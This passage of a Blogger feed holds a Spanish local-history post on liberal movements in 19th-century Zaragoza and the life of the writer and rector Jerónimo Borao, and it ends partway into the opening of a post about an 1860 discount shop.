</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/137295537591663552/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/10/se-vende-leche-de-burras-4-reales.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/137295537591663552'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/137295537591663552'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/10/se-vende-leche-de-burras-4-reales.html' title='Leche de Burra'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrCfDru-C-Pf0_rJj7xD5jIpPlibWoGwA3398-BuhlJZa8FETAj7pg3WnquLTDeZ-Q-MM9v9n6rbfW0scXtOLvDNr3F-uTKguHXizfvcOE72pp-vwmlOh6nDFi3q3larLO2eTX4Tyl7Ao/s72-c/7858286586_c72251579c_b.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-1977548981868439433</id><published>2019-10-18T17:32:00.003+02:00</published><updated>2020-11-07T19:41:13.435+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="ESCRITORES"/><category scheme="http://www.blogger.com/atom/ns#" term="HISTORIA"/><title type='text'>Movimientos liberales en Zaragoza</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
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&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUaL_gz3NbdzphruiYUE0Bg9x0LSVEfw7r8SNoXbEWrt56Ihl2chSIHmI8_n0Z1at8_f5zSei046wVYyw2sGegv3_GOQX6hbDxlcrHQxcmeIGOy7DLVF-ZdX7WzG-l2sqAPgNIPTGysxLX/s1600/escultura+San+Miguel.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUaL_gz3NbdzphruiYUE0Bg9x0LSVEfw7r8SNoXbEWrt56Ihl2chSIHmI8_n0Z1at8_f5zSei046wVYyw2sGegv3_GOQX6hbDxlcrHQxcmeIGOy7DLVF-ZdX7WzG-l2sqAPgNIPTGysxLX/s1600/escultura+San+Miguel.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;Retrato de Jerónimo
Borao como diablo en la iglesia de S. Miguel&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;¿Sabías que...los movimientos liberales&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;jugaron un papel tan importante que la ciudad fue clave a lo largo del siglo XIX?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Durante el
siglo XIX se dan en Europa toda clase de cambios de tipo social y económico. Es
un tiempo en el que se producirán dos revoluciones industriales, una serie de
revoluciones burguesas, movimientos obreros, migraciones masivas de gentes que
abandonan el campo para ir a trabajar a la ciudad, adelantos científicos,
guerras, desastres, etc.&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;La vida de las personas cambia radicalmente en pocos
años y las ciudades se llenan de gentes que terminan viviendo hacinadas en
barrios con las peores condiciones. &lt;/span&gt;Debido a
todos estos cambios las monarquías absolutas llegan a su final para dar paso a
ideas más liberales, aunque se multiplican los conflictos entre aquellos que
quieren mantener el régimen anterior y los que defienden las nuevas ideas.
Entre estos últimos también se producen enfrentamientos, pues unos son más
radicales que otros.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;¿Pero, qué
ocurre en España? En nuestro país, ya a mediados del siglo anterior, Carlos III
y sus ministros habían intentado aplicar una serie de reformas sociales acordes
con el pensamiento ilustrado de la época, aunque no se habían podido llevar a
cabo debido a la oposición de los estamentos superiores. España necesitaba un
cambio radical en sus estructuras que no se llegó a producir, aunque a partir
de la Revolución francesa comenzaron a tambalearse los cimientos de la sociedad
y a surgir los conflictos entre absolutistas, partidarios de la monarquía
tradicional, y liberales, principalmente burgueses que quieren participar de la
política y promover cambios en las viejas estructuras.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;Por otra
parte, mientras otros países europeos se estaban industrializando España había
cambiado muy poco con respecto a periodos anteriores. La agricultura, que era
la base del país, apenas había tenido desarrollo desde hacía siglos por lo que
se siguen produciendo periodos de malas cosechas, hambrunas y&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;epidemias que obligan a la gente a
desplazarse a las ciudades.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;En ninguna
región, a excepción de Cataluña, pudo plantearse una reforma agraria debido en
unos casos a la enorme parcelación de la tierra (Galicia); en otros (Castilla)
a la extensión de la ganadería o a los latifundios en manos de nobles y
clérigos que no tenían mayor interés en hacer reformas. Este planteamiento hizo
imposible que la industria avanzara, pues tampoco existían buenas vías de
comunicación que favorecieran el comercio.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;En las
ciudades, sin embargo, si bien existe una oligarquía que vive de las rentas de
sus tierras y que tiene el poder&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;también
existen aquellos que tienen profesiones liberales, comerciantes, artesanos,
etc. y funcionarios que agitan con sus ideas reformadoras, más o menos
radicales, a la población a través de las Sociedades Económicas, la prensa y
las universidades. Estas personas intentan difundir las nuevas corrientes de
pensamiento y las nuevas técnicas, corrientes destinadas al fracaso debido al
analfabetismo de la gente y la oposición de los clérigos y los nobles que temían
perder sus privilegios. Así es como mientras Europa renacía, España volvía al
absolutismo. En este ambiente nació y vivió Jerónimo Borao&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;y Clemente.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5qv3VxeiWvQXPquOm5bPARzzFtGa9BlVetFSyMj3Tawp1ZiZb-9iSqbFy_cnb2d84jb4y5z3KvteHw9tYwGfWBiKYZ7t3-RgfBIEA237Wv2LzU9YHaEO7C5IzoAk9T8A6CxX2tWYZdwDY/s1022/jeronimo+borao2.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1022&quot; data-original-width=&quot;756&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5qv3VxeiWvQXPquOm5bPARzzFtGa9BlVetFSyMj3Tawp1ZiZb-9iSqbFy_cnb2d84jb4y5z3KvteHw9tYwGfWBiKYZ7t3-RgfBIEA237Wv2LzU9YHaEO7C5IzoAk9T8A6CxX2tWYZdwDY/s320/jeronimo+borao2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;Cuando nació
Jerónimo Borao, un 11 de agosto de 1821, la situación de Zaragoza era
estremecedora, pues habían pasado sólo unos pocos años de la terrible guerra
que había devastado la ciudad (su padre fue uno de los defensores destacados).
En ese momento España vivía bajo “el trienio liberal” (1820-1823) durante el
cual se restableció la Constitución, aunque como sabemos duró muy poco, porque
el rey Fernando VII instauró de nuevo el absolutismo con la intervención de los
Cien Mil Hijos de San Luis. Zaragoza, después de haber mermado su población en
la guerra, comenzó a crecer de nuevo con las gentes que huían del campo, pero
siguió dentro de los límites que marcaban sus murallas. Los dueños de los
caserones, que ya no vivían en ellos, alquilaban los espacios como vivienda o
almacenes, las casas subían en altura y las calles se hacían cada vez más
estrechas (no hay que olvidar que la ciudad tenía un cinturón de conventos y
monasterios con sus tierras y sus huertos que hacía imposible su urbanización).
Se dice que en esta época la ciudad era fea, descuidada y propensa a las
epidemias (las hubo).&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;arial, sans-serif&quot;&gt;La muerte del
rey Fernando VII en 1833 no mejoró la situación. España entró esta vez en una
guerra civil en la que Zaragoza tuvo su protagonismo ese “5 de marzo” que
todavía festejamos y que Jerónimo Borao vio con sus propios ojos. Tal vez por
este y otros acontecimientos el joven Jerónimo comenzó a escribir sus primeros
poemas.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;arial, sans-serif&quot;&gt;&lt;br /&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi93Bwfwu8zQlUU3_CZrKrmxsw7fFush6jyu5qmPL9yJcCvIra0xK_yVge-WDMU2zngfmq9657knS7f2y5l1cRiFftljGQ4JLydd03ZuUJ4zqUrGecaZytIBKF3aqCYLEnl3SYZBKlRss6R/s1024/plano-que-representa-el-estado-a-que-quedo-reducida-la-ciudad-de-zaragoza-despues-ed76d7-1024.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;664&quot; data-original-width=&quot;1024&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi93Bwfwu8zQlUU3_CZrKrmxsw7fFush6jyu5qmPL9yJcCvIra0xK_yVge-WDMU2zngfmq9657knS7f2y5l1cRiFftljGQ4JLydd03ZuUJ4zqUrGecaZytIBKF3aqCYLEnl3SYZBKlRss6R/w400-h260/plano-que-representa-el-estado-a-que-quedo-reducida-la-ciudad-de-zaragoza-despues-ed76d7-1024.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Plano de Zaragoza después del segundo sitio (1809)&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Pero Zaragoza
iba transformándose a &lt;span style=&quot;font-family: inherit;&quot;&gt;pesar de todo, ya no era aquella de la Guerra de la
Independencia.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;A diferencia de las zonas
rurales, en la ciudad se había concentrado una burguesía urbana consciente de
que estaban llegando nuevos tiempos. Nuevos inventos, nuevos progresos
aceleraban los cambios y estos burgueses querían cambios políticos, pero
también, y esto es importante, cambios sociales, económicos y culturales.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Así surgió, por ejemplo, la revista La Aurora
(1839) del Liceo Artístico y Literario donde Borao fue fundador y colaborador.
En esta revista participaban jóvenes de distintas especialidades, no sólo
poetas o dramaturgos, con el propósito de llevar la cultura más allá de sus
círculos. No vamos a decir que esta burguesía incipiente de las ciudades no
tuviera intereses particulares que le impulsaran a promover los cambios
sociales, pero sí que había, al menos en algunos, un afán “romántico” de crecer
a imitación de Europa y dejar atrás el Antiguo Régimen. En Zaragoza hubo
personas muy comprometidas con este cambio y Jerónimo Borao fue a lo largo de
su vida uno de los que más destacaron por su labor literaria, como rector de
universidad y también como político, ya que participó en levantamientos, estuvo
encarcelado y desterrado e incluso fue diputado (en 1847 Borao ocupó la cátedra
de Literatura General y Española en la Universidad de Zaragoza).&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Zaragoza
destacó a lo largo del siglo XIX como ciudad clave en los movimientos
liberales, tal vez por su localización geográfica y por sus circunstancias como
capital de la región. En 1854 Espartero llegó a Zaragoza y se reunió con Bruil,
Lasala, etc. para tomar la Aljafería.&lt;/span&gt;&lt;span style=&quot;font-family: inherit; mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Esta fue la famosa Revolución&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Baldomero
Espartero&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvd57w-qrgoOYOYTuPO4PLiQ1TbSkfg_v2eyXM9H4V35HpuO9wBOOENAgQ48AHREIGMlywqMptcpOM3A49-Dzw8tDca_FzAnSRifi82_3ds0h_1frOK3vAwd6ibCW8MEUeu_HxQR3Vdew/s2048/Baldomero_Espartero%252C_Prince_of_Vergara.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1609&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvd57w-qrgoOYOYTuPO4PLiQ1TbSkfg_v2eyXM9H4V35HpuO9wBOOENAgQ48AHREIGMlywqMptcpOM3A49-Dzw8tDca_FzAnSRifi82_3ds0h_1frOK3vAwd6ibCW8MEUeu_HxQR3Vdew/w314-h400/Baldomero_Espartero%252C_Prince_of_Vergara.jpg&quot; width=&quot;314&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;de 1854 que
dio lugar al Bienio Progresista con la convocatoria de nuevas cortes. Se creó
una Junta de Gobierno de trece miembros, entre los cuales estaban Bruil,
Marraco, Lasala, etc. y Jerónimo Borao como secretario. Borao fue nombrado
después rector de la Universidad de Zaragoza, académico de la Real Academia de
S. Luis y diputado.&lt;/span&gt;&lt;/div&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;Poco a poco,
con una nueva estructura del poder local y las desamortizaciones se creó la
posibilidad de urbanizar la ciudad hacia el sur con la Plaza de la Constitución
(plaza de España) y el Salón de Santa Engracia (Paseo de la Independencia). Se
comenzó también a invertir dinero en industria (telares de Bruil, Marraco, etc.
en la Cartuja de Aula Dei).&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;La ciudad
seguía su progreso elevando en 1857 el monumento a Pignatelli en la actual
plaza de Aragón. Pocos años más tarde llegaría el ferrocarril a Zaragoza. La
primera locomotora entró en la estación del Arrabal procedente de Barcelona el
1 de agosto de 1861, posteriormente la línea se conectó con Madrid.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Es en estos años de auge cuando Jerónimo
Borao presenta la primera edición de su Diccionario de voces aragonesas donde
recoge voces del campo, la agricultura y la vida aragonesa en general.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;Pero Zaragoza
nuevamente se convulsiona, mientras Borao era el vicepresidente de la
Exposición Aragonesa situada en la actual plaza de Aragón, debido a la
Revolución de Septiembre de 1868. La Exposición hubo de ser cerrada y no será
hasta 1871, ante Amadeo de Saboya, cuando se entreguen los premios, situación
que aprovechó Jerónimo Borao como rector de la Universidad para pronunciar un
discurso a favor de la monarquía liberal y de la cultura que en distintas
épocas había llegado a España desde Italia, ya que el alcalde de la ciudad,
José Mariné, de ideas republicanas, había recibido al rey con mucha frialdad.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Después del
golpe militar de 1874 en que Alfonso XII es proclamado rey, Borao continuó su
labor literaria y como rector de la Universidad, pero sus biógrafos cuentan que
ya había en él un decaimiento, tal vez producido por un desencanto. Murió en
noviembre de 1878 a los 57 años. Después de leer su biografía parece increíble
que muriera tan pronto, porque dejó una obra extensa en muchos campos. Para
Zaragoza Jerónimo Borao fue una figura a tener en cuenta más allá de las ideas
políticas, pues trabajó incansablemente en distintos ámbitos y promovió muchas
reformas.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;En cuanto a
la ciudad de Zaragoza se van produciendo cambios políticos y sociales en los
que la cultura republicana se va afianzando, presagiando así los problemas que
se darán en el siglo XX. Las clases trabajadoras comienzan a organizarse y a
reunirse dando lugar a las primeras asociaciones políticas que hoy conocemos y
el urbanismo de la antigua ciudad cambia a costa de la demolición de palacios e
iglesias mudéjares antes que promover una expansión regulada fuera de los
muros, pues esto último favorecería una bajada de los precios de los solares en
el casco de la ciudad y también perjudicaría los negocios de la burguesía.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Calle Alfonso
I, Zaragoza&lt;/span&gt;(en la actualidad)&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
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&lt;span style=&quot;font-family: inherit;&quot;&gt;(1)&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Para ampliar conocimientos sobre la
biografía de Jerónimo Borao ver la obra de José Eugenio Borao Mateo: Jerónimo
Borao y Clemente (1821-1878) Escritor romántico, catedrático y político
aragonés. Institución Fernando el Católico, Zaragoza, 2014.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style=&quot;text-align: right;&quot;&gt;María José Germán&lt;/div&gt;
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&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;span style=&quot;font-family: calibri;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/1977548981868439433/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/10/liberales-y-absolutistas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1977548981868439433'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1977548981868439433'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/10/liberales-y-absolutistas.html' title='Movimientos liberales en Zaragoza'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUaL_gz3NbdzphruiYUE0Bg9x0LSVEfw7r8SNoXbEWrt56Ihl2chSIHmI8_n0Z1at8_f5zSei046wVYyw2sGegv3_GOQX6hbDxlcrHQxcmeIGOy7DLVF-ZdX7WzG-l2sqAPgNIPTGysxLX/s72-c/escultura+San+Miguel.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-4152894981513361846</id><published>2019-09-19T20:50:00.003+02:00</published><updated>2020-11-07T19:41:29.207+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>El baratillo zaragozano</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-family: helvetica; font-size: large; font-variant: normal; letter-spacing: normal; text-align: center; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;b&gt;&lt;i&gt;¿Sabías que... hace 160 años había una outlet en Zaragoza?&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-family: &amp;quot;times new roman&amp;quot;; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: center; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoSVjAox17mKDXoMpQJml2_v-HHsoPKtNWaq39VLjoO4adLOfsTsQJUfrWHwqJQNSqjWMbx5tUU_qzySgnywCVSkgRoJ8O_ZISZvAWo58MDfC9gyVFJEzYyszTuFHD7yepFfYzgzfoJsz/s1600/GU%25C3%258DA-1860.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1333&quot; data-original-width=&quot;1001&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoSVjAox17mKDXoMpQJml2_v-HHsoPKtNWaq39VLjoO4adLOfsTsQJUfrWHwqJQNSqjWMbx5tUU_qzySgnywCVSkgRoJ8O_ZISZvAWo58MDfC9gyVFJEzYyszTuFHD7yepFfYzgzfoJsz/s320/GU%25C3%258DA-1860.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;EL BARATILLO ZARAGOZANO&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Ojeando la &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Guía de Zaragoza de 1860&lt;/i&gt;, encontré algo
curioso &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;¡una tienda de saldos en la
Zaragoza de hace más de 160 años! &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;Sí,
eso que actualmente llamamos una &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;tienda &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;outlet&lt;/i&gt;&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
